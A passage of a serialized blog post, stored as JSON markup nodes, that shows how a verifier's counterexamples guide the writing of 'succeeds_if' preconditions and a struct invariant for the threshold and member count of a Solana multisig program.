valid\n",{"type":20,"tag":315,"props":22073,"children":22075},{"class":317,"line":22074},40,[22076,22080,22084,22088,22092,22096,22100,22105,22109,22114,22118,22122,22126,22130,22134,22139,22144],{"type":20,"tag":315,"props":22077,"children":22078},{"style":525},[22079],{"type":26,"value":10680},{"type":20,"tag":315,"props":22081,"children":22082},{"style":322},[22083],{"type":26,"value":12132},{"type":20,"tag":315,"props":22085,"children":22086},{"style":334},[22087],{"type":26,"value":1861},{"type":20,"tag":315,"props":22089,"children":22090},{"style":345},[22091],{"type":26,"value":17877},{"type":20,"tag":315,"props":22093,"children":22094},{"style":328},[22095],{"type":26,"value":1049},{"type":20,"tag":315,"props":22097,"children":22098},{"style":635},[22099],{"type":26,"value":21154},{"type":20,"tag":315,"props":22101,"children":22102},{"style":328},[22103],{"type":26,"value":22104},") \u003C ",{"type":20,"tag":315,"props":22106,"children":22107},{"style":765},[22108],{"type":26,"value":2406},{"type":20,"tag":315,"props":22110,"children":22111},{"style":334},[22112],{"type":26,"value":22113}," ||",{"type":20,"tag":315,"props":22115,"children":22116},{"style":322},[22117],{"type":26,"value":12132},{"type":20,"tag":315,"props":22119,"children":22120},{"style":334},[22121],{"type":26,"value":1861},{"type":20,"tag":315,"props":22123,"children":22124},{"style":345},[22125],{"type":26,"value":17877},{"type":20,"tag":315,"props":22127,"children":22128},{"style":328},[22129],{"type":26,"value":1049},{"type":20,"tag":315,"props":22131,"children":22132},{"style":635},[22133],{"type":26,"value":21154},{"type":20,"tag":315,"props":22135,"children":22136},{"style":328},[22137],{"type":26,"value":22138},") > ",{"type":20,"tag":315,"props":22140,"children":22141},{"style":635},[22142],{"type":26,"value":22143},"total_members",{"type":20,"tag":315,"props":22145,"children":22146},{"style":328},[22147],{"type":26,"value":1092},{"type":20,"tag":315,"props":22149,"children":22151},{"class":317,"line":22150},41,[22152,22156,22160,22164,22168,22172,22177],{"type":20,"tag":315,"props":22153,"children":22154},{"style":525},[22155],{"type":26,"value":14145},{"type":20,"tag":315,"props":22157,"children":22158},{"style":345},[22159],{"type":26,"value":21924},{"type":20,"tag":315,"props":22161,"children":22162},{"style":328},[22163],{"type":26,"value":1049},{"type":20,"tag":315,"props":22165,"children":22166},{"style":322},[22167],{"type":26,"value":21933},{"type":20,"tag":315,"props":22169,"children":22170},{"style":334},[22171],{"type":26,"value":1861},{"type":20,"tag":315,"props":22173,"children":22174},{"style":322},[22175],{"type":26,"value":22176},"InvalidThreshold",{"type":20,"tag":315,"props":22178,"children":22179},{"style":328},[22180],{"type":26,"value":2214},{"type":20,"tag":315,"props":22182,"children":22184},{"class":317,"line":22183},42,[22185],{"type":20,"tag":315,"props":22186,"children":22187},{"style":328},[22188],{"type":26,"value":1736},{"type":20,"tag":315,"props":22190,"children":22192},{"class":317,"line":22191},43,[22193],{"type":20,"tag":315,"props":22194,"children":22195},{"emptyLinePlaceholder":15},[22196],{"type":26,"value":427},{"type":20,"tag":315,"props":22198,"children":22200},{"class":317,"line":22199},44,[22201,22205,22209,22213,22217,22222,22226,22230],{"type":20,"tag":315,"props":22202,"children":22203},{"style":635},[22204],{"type":26,"value":18627},{"type":20,"tag":315,"props":22206,"children":22207},{"style":334},[22208],{"type":26,"value":61},{"type":20,"tag":315,"props":22210,"children":22211},{"style":328},[22212],{"type":26,"value":13076},{"type":20,"tag":315,"props":22214,"children":22215},{"style":334},[22216],{"type":26,"value":61},{"type":20,"tag":315,"props":22218,"children":22219},{"style":328},[22220],{"type":26,"value":22221},"multisig",{"type":20,"tag":315,"props":22223,"children":22224},{"style":334},[22225],{"type":26,"value":61},{"type":20,"tag":315,"props":22227,"children":22228},{"style":345},[22229],{"type":26,"value":19144},{"type":20,"tag":315,"props":22231,"children":22232},{"style":328},[22233],{"type":26,"value":353},{"type":20,"tag":315,"props":22235,"children":22237},{"class":317,"line":22236},45,[22238,22243],{"type":20,"tag":315,"props":22239,"children":22240},{"style":635},[22241],{"type":26,"value":22242}," threshold",{"type":20,"tag":315,"props":22244,"children":22245},{"style":328},[22246],{"type":26,"value":643},{"type":20,"tag":315,"props":22248,"children":22250},{"class":317,"line":22249},46,[22251,22256],{"type":20,"tag":315,"props":22252,"children":22253},{"style":635},[22254],{"type":26,"value":22255}," create_key",{"type":20,"tag":315,"props":22257,"children":22258},{"style":328},[22259],{"type":26,"value":643},{"type":20,"tag":315,"props":22261,"children":22263},{"class":317,"line":22262},47,[22264,22269],{"type":20,"tag":315,"props":22265,"children":22266},{"style":635},[22267],{"type":26,"value":22268}," members",{"type":20,"tag":315,"props":22270,"children":22271},{"style":328},[22272],{"type":26,"value":643},{"type":20,"tag":315,"props":22274,"children":22276},{"class":317,"line":22275},48,[22277,22281,22285,22289,22294,22298,22302,22306,22311,22315,22319,22323],{"type":20,"tag":315,"props":22278,"children":22279},{"style":334},[22280],{"type":26,"value":6147},{"type":20,"tag":315,"props":22282,"children":22283},{"style":635},[22284],{"type":26,"value":18684},{"type":20,"tag":315,"props":22286,"children":22287},{"style":334},[22288],{"type":26,"value":61},{"type":20,"tag":315,"props":22290,"children":22291},{"style":328},[22292],{"type":26,"value":22293},"bumps",{"type":20,"tag":315,"props":22295,"children":22296},{"style":334},[22297],{"type":26,"value":61},{"type":20,"tag":315,"props":22299,"children":22300},{"style":345},[22301],{"type":26,"value":14753},{"type":20,"tag":315,"props":22303,"children":22304},{"style":328},[22305],{"type":26,"value":1049},{"type":20,"tag":315,"props":22307,"children":22308},{"style":2652},[22309],{"type":26,"value":22310},"\"multisig\"",{"type":20,"tag":315,"props":22312,"children":22313},{"style":328},[22314],{"type":26,"value":1509},{"type":20,"tag":315,"props":22316,"children":22317},{"style":334},[22318],{"type":26,"value":61},{"type":20,"tag":315,"props":22320,"children":22321},{"style":345},[22322],{"type":26,"value":2046},{"type":20,"tag":315,"props":22324,"children":22325},{"style":328},[22326],{"type":26,"value":1871},{"type":20,"tag":315,"props":22328,"children":22330},{"class":317,"line":22329},49,[22331],{"type":20,"tag":315,"props":22332,"children":22333},{"style":328},[22334],{"type":26,"value":22335}," )\n",{"type":20,"tag":315,"props":22337,"children":22339},{"class":317,"line":22338},50,[22340],{"type":20,"tag":315,"props":22341,"children":22342},{"style":328},[22343],{"type":26,"value":577},{"type":20,"tag":29,"props":22345,"children":22346},{},[22347,22349,22354,22356,22361],{"type":26,"value":22348},"We can start by testing an empty ",{"type":20,"tag":119,"props":22350,"children":22352},{"className":22351},[],[22353],{"type":26,"value":18558},{"type":26,"value":22355}," (this will default to ",{"type":20,"tag":119,"props":22357,"children":22359},{"className":22358},[],[22360],{"type":26,"value":2387},{"type":26,"value":22362},"):",{"type":20,"tag":305,"props":22364,"children":22366},{"code":22365,"language":1359,"meta":7,"className":1360,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[22367],{"type":20,"tag":119,"props":22368,"children":22369},{"__ignoreMap":7},[22370,22378],{"type":20,"tag":315,"props":22371,"children":22372},{"class":317,"line":318},[22373],{"type":20,"tag":315,"props":22374,"children":22375},{"style":328},[22376],{"type":26,"value":22377},"#[succeeds_if()]\n",{"type":20,"tag":315,"props":22379,"children":22380},{"class":317,"line":356},[22381,22385,22389,22393,22397,22401,22406,22410],{"type":20,"tag":315,"props":22382,"children":22383},{"style":541},[22384],{"type":26,"value":12091},{"type":20,"tag":315,"props":22386,"children":22387},{"style":541},[22388],{"type":26,"value":12096},{"type":20,"tag":315,"props":22390,"children":22391},{"style":345},[22392],{"type":26,"value":5507},{"type":20,"tag":315,"props":22394,"children":22395},{"style":328},[22396],{"type":26,"value":1049},{"type":20,"tag":315,"props":22398,"children":22399},{"style":334},[22400],{"type":26,"value":7990},{"type":20,"tag":315,"props":22402,"children":22403},{"style":328},[22404],{"type":26,"value":22405},") { ",{"type":20,"tag":315,"props":22407,"children":22408},{"style":334},[22409],{"type":26,"value":7990},{"type":20,"tag":315,"props":22411,"children":22412},{"style":328},[22413],{"type":26,"value":7995},{"type":20,"tag":29,"props":22415,"children":22416},{},[22417],{"type":26,"value":22418},"Running the solver, we get:",{"type":20,"tag":305,"props":22420,"children":22422},{"code":22421},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[22423],{"type":20,"tag":119,"props":22424,"children":22425},{"__ignoreMap":7},[22426],{"type":26,"value":22421},{"type":20,"tag":29,"props":22428,"children":22429},{},[22430,22432,22437],{"type":26,"value":22431},"This means that ",{"type":20,"tag":119,"props":22433,"children":22435},{"className":22434},[],[22436],{"type":26,"value":2387},{"type":26,"value":22438}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":20,"tag":29,"props":22440,"children":22441},{},[22442],{"type":26,"value":22443},"We can ask the solver to produce a counterexample:",{"type":20,"tag":305,"props":22445,"children":22447},{"code":22446},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[22448],{"type":20,"tag":119,"props":22449,"children":22450},{"__ignoreMap":7},[22451],{"type":26,"value":22446},{"type":20,"tag":29,"props":22453,"children":22454},{},[22455],{"type":26,"value":22456},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":20,"tag":29,"props":22458,"children":22459},{},[22460],{"type":20,"tag":55,"props":22461,"children":22462},{},[22463,22465,22471],{"type":26,"value":22464},"Note also that the verifier decided to use a ",{"type":20,"tag":119,"props":22466,"children":22468},{"className":22467},[],[22469],{"type":26,"value":22470},"SparseVec",{"type":26,"value":22472}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":20,"tag":29,"props":22474,"children":22475},{},[22476],{"type":20,"tag":55,"props":22477,"children":22478},{},[22479,22481,22486,22487,22493,22495,22500,22502,22507],{"type":26,"value":22480},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":20,"tag":119,"props":22482,"children":22484},{"className":22483},[],[22485],{"type":26,"value":2200},{"type":26,"value":9392},{"type":20,"tag":119,"props":22488,"children":22490},{"className":22489},[],[22491],{"type":26,"value":22492},"pop",{"type":26,"value":22494}," are stubbed out to simply panic for the ",{"type":20,"tag":119,"props":22496,"children":22498},{"className":22497},[],[22499],{"type":26,"value":22470},{"type":26,"value":22501}," and if this code tried to do that we would fall back to the concrete ",{"type":20,"tag":119,"props":22503,"children":22505},{"className":22504},[],[22506],{"type":26,"value":15613},{"type":26,"value":22508}," type.",{"type":20,"tag":29,"props":22510,"children":22511},{},[22512],{"type":26,"value":22513},"We can add this to our constraint and try again:",{"type":20,"tag":305,"props":22515,"children":22517},{"code":22516,"language":1359,"meta":7,"className":1360,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[22518],{"type":20,"tag":119,"props":22519,"children":22520},{"__ignoreMap":7},[22521,22529,22566,22573],{"type":20,"tag":315,"props":22522,"children":22523},{"class":317,"line":318},[22524],{"type":20,"tag":315,"props":22525,"children":22526},{"style":328},[22527],{"type":26,"value":22528},"#[succeeds_if(\n",{"type":20,"tag":315,"props":22530,"children":22531},{"class":317,"line":356},[22532,22537,22541,22545,22549,22553,22557,22561],{"type":20,"tag":315,"props":22533,"children":22534},{"style":328},[22535],{"type":26,"value":22536}," (threshold ",{"type":20,"tag":315,"props":22538,"children":22539},{"style":541},[22540],{"type":26,"value":7238},{"type":20,"tag":315,"props":22542,"children":22543},{"style":322},[22544],{"type":26,"value":12132},{"type":20,"tag":315,"props":22546,"children":22547},{"style":328},[22548],{"type":26,"value":1468},{"type":20,"tag":315,"props":22550,"children":22551},{"style":334},[22552],{"type":26,"value":17819},{"type":20,"tag":315,"props":22554,"children":22555},{"style":328},[22556],{"type":26,"value":21789},{"type":20,"tag":315,"props":22558,"children":22559},{"style":334},[22560],{"type":26,"value":61},{"type":20,"tag":315,"props":22562,"children":22563},{"style":328},[22564],{"type":26,"value":22565},"len()\n",{"type":20,"tag":315,"props":22567,"children":22568},{"class":317,"line":365},[22569],{"type":20,"tag":315,"props":22570,"children":22571},{"style":328},[22572],{"type":26,"value":18662},{"type":20,"tag":315,"props":22574,"children":22575},{"class":317,"line":374},[22576,22580,22584,22588,22592,22596,22600,22604],{"type":20,"tag":315,"props":22577,"children":22578},{"style":541},[22579],{"type":26,"value":12091},{"type":20,"tag":315,"props":22581,"children":22582},{"style":541},[22583],{"type":26,"value":12096},{"type":20,"tag":315,"props":22585,"children":22586},{"style":345},[22587],{"type":26,"value":5507},{"type":20,"tag":315,"props":22589,"children":22590},{"style":328},[22591],{"type":26,"value":1049},{"type":20,"tag":315,"props":22593,"children":22594},{"style":334},[22595],{"type":26,"value":7990},{"type":20,"tag":315,"props":22597,"children":22598},{"style":328},[22599],{"type":26,"value":22405},{"type":20,"tag":315,"props":22601,"children":22602},{"style":334},[22603],{"type":26,"value":7990},{"type":20,"tag":315,"props":22605,"children":22606},{"style":328},[22607],{"type":26,"value":7995},{"type":20,"tag":29,"props":22609,"children":22610},{},[22611],{"type":26,"value":22612},"Verification failed again! This time we get a different counterexample:",{"type":20,"tag":305,"props":22614,"children":22616},{"code":22615},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[22617],{"type":20,"tag":119,"props":22618,"children":22619},{"__ignoreMap":7},[22620],{"type":26,"value":22615},{"type":20,"tag":29,"props":22622,"children":22623},{},[22624],{"type":26,"value":22625},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":20,"tag":305,"props":22627,"children":22629},{"code":22628,"language":1359,"meta":7,"className":1360,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && threshold != 0\n)]\npub fn create(...) { ... }\n",[22630],{"type":20,"tag":119,"props":22631,"children":22632},{"__ignoreMap":7},[22633,22640,22675,22695,22702],{"type":20,"tag":315,"props":22634,"children":22635},{"class":317,"line":318},[22636],{"type":20,"tag":315,"props":22637,"children":22638},{"style":328},[22639],{"type":26,"value":22528},{"type":20,"tag":315,"props":22641,"children":22642},{"class":317,"line":356},[22643,22647,22651,22655,22659,22663,22667,22671],{"type":20,"tag":315,"props":22644,"children":22645},{"style":328},[22646],{"type":26,"value":22536},{"type":20,"tag":315,"props":22648,"children":22649},{"style":541},[22650],{"type":26,"value":7238},{"type":20,"tag":315,"props":22652,"children":22653},{"style":322},[22654],{"type":26,"value":12132},{"type":20,"tag":315,"props":22656,"children":22657},{"style":328},[22658],{"type":26,"value":1468},{"type":20,"tag":315,"props":22660,"children":22661},{"style":334},[22662],{"type":26,"value":17819},{"type":20,"tag":315,"props":22664,"children":22665},{"style":328},[22666],{"type":26,"value":21789},{"type":20,"tag":315,"props":22668,"children":22669},{"style":334},[22670],{"type":26,"value":61},{"type":20,"tag":315,"props":22672,"children":22673},{"style":328},[22674],{"type":26,"value":22565},{"type":20,"tag":315,"props":22676,"children":22677},{"class":317,"line":365},[22678,22682,22687,22691],{"type":20,"tag":315,"props":22679,"children":22680},{"style":334},[22681],{"type":26,"value":14022},{"type":20,"tag":315,"props":22683,"children":22684},{"style":328},[22685],{"type":26,"value":22686}," threshold ",{"type":20,"tag":315,"props":22688,"children":22689},{"style":334},[22690],{"type":26,"value":14089},{"type":20,"tag":315,"props":22692,"children":22693},{"style":328},[22694],{"type":26,"value":768},{"type":20,"tag":315,"props":22696,"children":22697},{"class":317,"line":374},[22698],{"type":20,"tag":315,"props":22699,"children":22700},{"style":328},[22701],{"type":26,"value":18662},{"type":20,"tag":315,"props":22703,"children":22704},{"class":317,"line":383},[22705,22709,22713,22717,22721,22725,22729,22733],{"type":20,"tag":315,"props":22706,"children":22707},{"style":541},[22708],{"type":26,"value":12091},{"type":20,"tag":315,"props":22710,"children":22711},{"style":541},[22712],{"type":26,"value":12096},{"type":20,"tag":315,"props":22714,"children":22715},{"style":345},[22716],{"type":26,"value":5507},{"type":20,"tag":315,"props":22718,"children":22719},{"style":328},[22720],{"type":26,"value":1049},{"type":20,"tag":315,"props":22722,"children":22723},{"style":334},[22724],{"type":26,"value":7990},{"type":20,"tag":315,"props":22726,"children":22727},{"style":328},[22728],{"type":26,"value":22405},{"type":20,"tag":315,"props":22730,"children":22731},{"style":334},[22732],{"type":26,"value":7990},{"type":20,"tag":315,"props":22734,"children":22735},{"style":328},[22736],{"type":26,"value":7995},{"type":20,"tag":29,"props":22738,"children":22739},{},[22740],{"type":26,"value":22741},"A third counterexample:",{"type":20,"tag":305,"props":22743,"children":22745},{"code":22744},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[22746],{"type":20,"tag":119,"props":22747,"children":22748},{"__ignoreMap":7},[22749],{"type":26,"value":22744},{"type":20,"tag":29,"props":22751,"children":22752},{},[22753,22755,22761],{"type":26,"value":22754},"Here we see the size of our ",{"type":20,"tag":119,"props":22756,"children":22758},{"className":22757},[],[22759],{"type":26,"value":22760},"members",{"type":26,"value":22762}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":20,"tag":305,"props":22764,"children":22766},{"code":22765,"language":1359,"meta":7,"className":1360,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && (threshold != 0)\n && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[22767],{"type":20,"tag":119,"props":22768,"children":22769},{"__ignoreMap":7},[22770,22777,22812,22833,22885,22892],{"type":20,"tag":315,"props":22771,"children":22772},{"class":317,"line":318},[22773],{"type":20,"tag":315,"props":22774,"children":22775},{"style":328},[22776],{"type":26,"value":22528},{"type":20,"tag":315,"props":22778,"children":22779},{"class":317,"line":356},[22780,22784,22788,22792,22796,22800,22804,22808],{"type":20,"tag":315,"props":22781,"children":22782},{"style":328},[22783],{"type":26,"value":22536},{"type":20,"tag":315,"props":22785,"children":22786},{"style":541},[22787],{"type":26,"value":7238},{"type":20,"tag":315,"props":22789,"children":22790},{"style":322},[22791],{"type":26,"value":12132},{"type":20,"tag":315,"props":22793,"children":22794},{"style":328},[22795],{"type":26,"value":1468},{"type":20,"tag":315,"props":22797,"children":22798},{"style":334},[22799],{"type":26,"value":17819},{"type":20,"tag":315,"props":22801,"children":22802},{"style":328},[22803],{"type":26,"value":21789},{"type":20,"tag":315,"props":22805,"children":22806},{"style":334},[22807],{"type":26,"value":61},{"type":20,"tag":315,"props":22809,"children":22810},{"style":328},[22811],{"type":26,"value":22565},{"type":20,"tag":315,"props":22813,"children":22814},{"class":317,"line":365},[22815,22819,22824,22828],{"type":20,"tag":315,"props":22816,"children":22817},{"style":334},[22818],{"type":26,"value":14022},{"type":20,"tag":315,"props":22820,"children":22821},{"style":328},[22822],{"type":26,"value":22823}," (threshold ",{"type":20,"tag":315,"props":22825,"children":22826},{"style":334},[22827],{"type":26,"value":14089},{"type":20,"tag":315,"props":22829,"children":22830},{"style":328},[22831],{"type":26,"value":22832}," 0)\n",{"type":20,"tag":315,"props":22834,"children":22835},{"class":317,"line":374},[22836,22840,22844,22848,22852,22856,22860,22865,22869,22873,22877,22881],{"type":20,"tag":315,"props":22837,"children":22838},{"style":334},[22839],{"type":26,"value":14022},{"type":20,"tag":315,"props":22841,"children":22842},{"style":328},[22843],{"type":26,"value":21403},{"type":20,"tag":315,"props":22845,"children":22846},{"style":334},[22847],{"type":26,"value":61},{"type":20,"tag":315,"props":22849,"children":22850},{"style":328},[22851],{"type":26,"value":19425},{"type":20,"tag":315,"props":22853,"children":22854},{"style":334},[22855],{"type":26,"value":17819},{"type":20,"tag":315,"props":22857,"children":22858},{"style":328},[22859],{"type":26,"value":463},{"type":20,"tag":315,"props":22861,"children":22862},{"style":322},[22863],{"type":26,"value":22864},"u16",{"type":20,"tag":315,"props":22866,"children":22867},{"style":334},[22868],{"type":26,"value":1861},{"type":20,"tag":315,"props":22870,"children":22871},{"style":322},[22872],{"type":26,"value":19443},{"type":20,"tag":315,"props":22874,"children":22875},{"style":541},[22876],{"type":26,"value":7224},{"type":20,"tag":315,"props":22878,"children":22879},{"style":322},[22880],{"type":26,"value":12132},{"type":20,"tag":315,"props":22882,"children":22883},{"style":328},[22884],{"type":26,"value":18116},{"type":20,"tag":315,"props":22886,"children":22887},{"class":317,"line":383},[22888],{"type":20,"tag":315,"props":22889,"children":22890},{"style":328},[22891],{"type":26,"value":18662},{"type":20,"tag":315,"props":22893,"children":22894},{"class":317,"line":407},[22895,22899,22903,22907,22911,22915,22919,22923],{"type":20,"tag":315,"props":22896,"children":22897},{"style":541},[22898],{"type":26,"value":12091},{"type":20,"tag":315,"props":22900,"children":22901},{"style":541},[22902],{"type":26,"value":12096},{"type":20,"tag":315,"props":22904,"children":22905},{"style":345},[22906],{"type":26,"value":5507},{"type":20,"tag":315,"props":22908,"children":22909},{"style":328},[22910],{"type":26,"value":1049},{"type":20,"tag":315,"props":22912,"children":22913},{"style":334},[22914],{"type":26,"value":7990},{"type":20,"tag":315,"props":22916,"children":22917},{"style":328},[22918],{"type":26,"value":22405},{"type":20,"tag":315,"props":22920,"children":22921},{"style":334},[22922],{"type":26,"value":7990},{"type":20,"tag":315,"props":22924,"children":22925},{"style":328},[22926],{"type":26,"value":7995},{"type":20,"tag":29,"props":22928,"children":22929},{},[22930],{"type":26,"value":22931},"And now we get:",{"type":20,"tag":305,"props":22933,"children":22935},{"code":22934},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[22936],{"type":20,"tag":119,"props":22937,"children":22938},{"__ignoreMap":7},[22939],{"type":26,"value":22934},{"type":20,"tag":29,"props":22941,"children":22942},{},[22943],{"type":26,"value":22944},"🥳🥳🥳",{"type":20,"tag":29,"props":22946,"children":22947},{},[22948],{"type":26,"value":22949},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":20,"tag":305,"props":22951,"children":22953},{"code":22952,"language":1359,"meta":7,"className":1360,"style":7},"if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n}\n",[22954],{"type":20,"tag":119,"props":22955,"children":22956},{"__ignoreMap":7},[22957,22980,23011],{"type":20,"tag":315,"props":22958,"children":22959},{"class":317,"line":318},[22960,22964,22968,22972,22976],{"type":20,"tag":315,"props":22961,"children":22962},{"style":525},[22963],{"type":26,"value":528},{"type":20,"tag":315,"props":22965,"children":22966},{"style":635},[22967],{"type":26,"value":21868},{"type":20,"tag":315,"props":22969,"children":22970},{"style":334},[22971],{"type":26,"value":7115},{"type":20,"tag":315,"props":22973,"children":22974},{"style":765},[22975],{"type":26,"value":2916},{"type":20,"tag":315,"props":22977,"children":22978},{"style":328},[22979],{"type":26,"value":1092},{"type":20,"tag":315,"props":22981,"children":22982},{"class":317,"line":356},[22983,22987,22991,22995,22999,23003,23007],{"type":20,"tag":315,"props":22984,"children":22985},{"style":525},[22986],{"type":26,"value":731},{"type":20,"tag":315,"props":22988,"children":22989},{"style":345},[22990],{"type":26,"value":21924},{"type":20,"tag":315,"props":22992,"children":22993},{"style":328},[22994],{"type":26,"value":1049},{"type":20,"tag":315,"props":22996,"children":22997},{"style":322},[22998],{"type":26,"value":21933},{"type":20,"tag":315,"props":23000,"children":23001},{"style":334},[23002],{"type":26,"value":1861},{"type":20,"tag":315,"props":23004,"children":23005},{"style":322},[23006],{"type":26,"value":21942},{"type":20,"tag":315,"props":23008,"children":23009},{"style":328},[23010],{"type":26,"value":2214},{"type":20,"tag":315,"props":23012,"children":23013},{"class":317,"line":365},[23014],{"type":20,"tag":315,"props":23015,"children":23016},{"style":328},[23017],{"type":26,"value":577},{"type":20,"tag":29,"props":23019,"children":23020},{},[23021,23023,23029,23031,23036,23038,23043,23045,23050],{"type":26,"value":23022},"In this case this is actually redundant because if ",{"type":20,"tag":119,"props":23024,"children":23026},{"className":23025},[],[23027],{"type":26,"value":23028},"members.len() == 0",{"type":26,"value":23030}," then our threshold would also have to be ",{"type":20,"tag":119,"props":23032,"children":23034},{"className":23033},[],[23035],{"type":26,"value":1063},{"type":26,"value":23037}," (and our ",{"type":20,"tag":119,"props":23039,"children":23041},{"className":23040},[],[23042],{"type":26,"value":21154},{"type":26,"value":23044}," is not allowed to be ",{"type":20,"tag":119,"props":23046,"children":23048},{"className":23047},[],[23049],{"type":26,"value":1063},{"type":26,"value":23051},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":20,"tag":219,"props":23053,"children":23055},{"id":23054},"_2-verify-threshold-requirements",[23056],{"type":26,"value":23057},"2. Verify threshold requirements",{"type":20,"tag":29,"props":23059,"children":23060},{},[23061],{"type":26,"value":23062},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":20,"tag":29,"props":23064,"children":23065},{},[23066,23068,23072],{"type":26,"value":23067},"Unlike the previous example, we want to verify this in ",{"type":20,"tag":55,"props":23069,"children":23070},{},[23071],{"type":26,"value":7699},{"type":26,"value":23073}," cases. I.e. any instruction that could mutate the multisig account.",{"type":20,"tag":29,"props":23075,"children":23076},{},[23077,23079,23083,23085,23090],{"type":26,"value":23078},"In this case, we want to model this as an ",{"type":20,"tag":55,"props":23080,"children":23081},{},[23082],{"type":26,"value":20182},{"type":26,"value":23084}," on the ",{"type":20,"tag":119,"props":23086,"children":23088},{"className":23087},[],[23089],{"type":26,"value":21146},{"type":26,"value":23091}," account struct:",{"type":20,"tag":305,"props":23093,"children":23095},{"code":23094,"language":1359,"meta":7,"className":1360,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[23096],{"type":20,"tag":119,"props":23097,"children":23098},{"__ignoreMap":7},[23099,23106,23131,23138,23162,23213,23220,23239,23266,23293,23320,23347,23374,23401,23428,23463],{"type":20,"tag":315,"props":23100,"children":23101},{"class":317,"line":318},[23102],{"type":20,"tag":315,"props":23103,"children":23104},{"style":328},[23105],{"type":26,"value":19174},{"type":20,"tag":315,"props":23107,"children":23108},{"class":317,"line":356},[23109,23113,23118,23122,23127],{"type":20,"tag":315,"props":23110,"children":23111},{"style":328},[23112],{"type":26,"value":21242},{"type":20,"tag":315,"props":23114,"children":23115},{"style":322},[23116],{"type":26,"value":23117},"Clone",{"type":20,"tag":315,"props":23119,"children":23120},{"style":328},[23121],{"type":26,"value":44},{"type":20,"tag":315,"props":23123,"children":23124},{"style":322},[23125],{"type":26,"value":23126},"Debug",{"type":20,"tag":315,"props":23128,"children":23129},{"style":328},[23130],{"type":26,"value":18662},{"type":20,"tag":315,"props":23132,"children":23133},{"class":317,"line":365},[23134],{"type":20,"tag":315,"props":23135,"children":23136},{"style":328},[23137],{"type":26,"value":19182},{"type":20,"tag":315,"props":23139,"children":23140},{"class":317,"line":374},[23141,23146,23150,23154,23158],{"type":20,"tag":315,"props":23142,"children":23143},{"style":328},[23144],{"type":26,"value":23145}," (self",{"type":20,"tag":315,"props":23147,"children":23148},{"style":334},[23149],{"type":26,"value":61},{"type":20,"tag":315,"props":23151,"children":23152},{"style":328},[23153],{"type":26,"value":19475},{"type":20,"tag":315,"props":23155,"children":23156},{"style":334},[23157],{"type":26,"value":8343},{"type":20,"tag":315,"props":23159,"children":23160},{"style":328},[23161],{"type":26,"value":19484},{"type":20,"tag":315,"props":23163,"children":23164},{"class":317,"line":383},[23165,23169,23173,23177,23181,23185,23189,23193,23197,23201,23205,23209],{"type":20,"tag":315,"props":23166,"children":23167},{"style":334},[23168],{"type":26,"value":14022},{"type":20,"tag":315,"props":23170,"children":23171},{"style":328},[23172],{"type":26,"value":19408},{"type":20,"tag":315,"props":23174,"children":23175},{"style":334},[23176],{"type":26,"value":61},{"type":20,"tag":315,"props":23178,"children":23179},{"style":328},[23180],{"type":26,"value":19475},{"type":20,"tag":315,"props":23182,"children":23183},{"style":541},[23184],{"type":26,"value":7238},{"type":20,"tag":315,"props":23186,"children":23187},{"style":322},[23188],{"type":26,"value":12132},{"type":20,"tag":315,"props":23190,"children":23191},{"style":334},[23192],{"type":26,"value":6593},{"type":20,"tag":315,"props":23194,"children":23195},{"style":328},[23196],{"type":26,"value":12198},{"type":20,"tag":315,"props":23198,"children":23199},{"style":334},[23200],{"type":26,"value":61},{"type":20,"tag":315,"props":23202,"children":23203},{"style":328},[23204],{"type":26,"value":19387},{"type":20,"tag":315,"props":23206,"children":23207},{"style":334},[23208],{"type":26,"value":61},{"type":20,"tag":315,"props":23210,"children":23211},{"style":328},[23212],{"type":26,"value":19536},{"type":20,"tag":315,"props":23214,"children":23215},{"class":317,"line":407},[23216],{"type":20,"tag":315,"props":23217,"children":23218},{"style":328},[23219],{"type":26,"value":18662},{"type":20,"tag":315,"props":23221,"children":23222},{"class":317,"line":421},[23223,23227,23231,23235],{"type":20,"tag":315,"props":23224,"children":23225},{"style":541},[23226],{"type":26,"value":12091},{"type":20,"tag":315,"props":23228,"children":23229},{"style":541},[23230],{"type":26,"value":19555},{"type":20,"tag":315,"props":23232,"children":23233},{"style":322},[23234],{"type":26,"value":19560},{"type":20,"tag":315,"props":23236,"children":23237},{"style":328},[23238],{"type":26,"value":1092},{"type":20,"tag":315,"props":23240,"children":23241},{"class":317,"line":430},[23242,23246,23250,23254,23258,23262],{"type":20,"tag":315,"props":23243,"children":23244},{"style":541},[23245],{"type":26,"value":19247},{"type":20,"tag":315,"props":23247,"children":23248},{"style":635},[23249],{"type":26,"value":19576},{"type":20,"tag":315,"props":23251,"children":23252},{"style":334},[23253],{"type":26,"value":28